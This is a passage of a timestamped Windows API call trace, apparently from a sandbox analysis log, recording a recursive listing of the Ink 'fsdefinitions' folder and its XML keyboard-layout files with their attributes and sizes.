ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.953] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.953] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.953] GetProcessHeap () returned 0xc10000 [0213.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.953] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0213.953] GetProcessHeap () returned 0xc10000 [0213.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.954] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.954] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0213.954] GetProcessHeap () returned 0xc10000 [0213.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0213.955] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.955] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0213.955] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0213.956] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0213.956] GetProcessHeap () returned 0xc10000 [0213.956] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert", cAlternateFileName="")) returned 1 [0213.956] GetProcessHeap () returned 0xc10000 [0213.956] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.956] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0213.957] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0213.957] GetProcessHeap () returned 0xc10000 [0213.957] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.957] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0213.957] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0213.957] GetProcessHeap () returned 0xc10000 [0213.957] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.957] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.957] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0213.957] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0213.958] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.958] GetProcessHeap () returned 0xc10000 [0213.958] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0213.958] GetProcessHeap () returned 0xc10000 [0213.958] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0213.959] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.959] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0213.959] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0213.959] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0213.960] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0213.961] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0213.961] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0213.962] GetProcessHeap () returned 0xc10000 [0213.962] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.962] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, 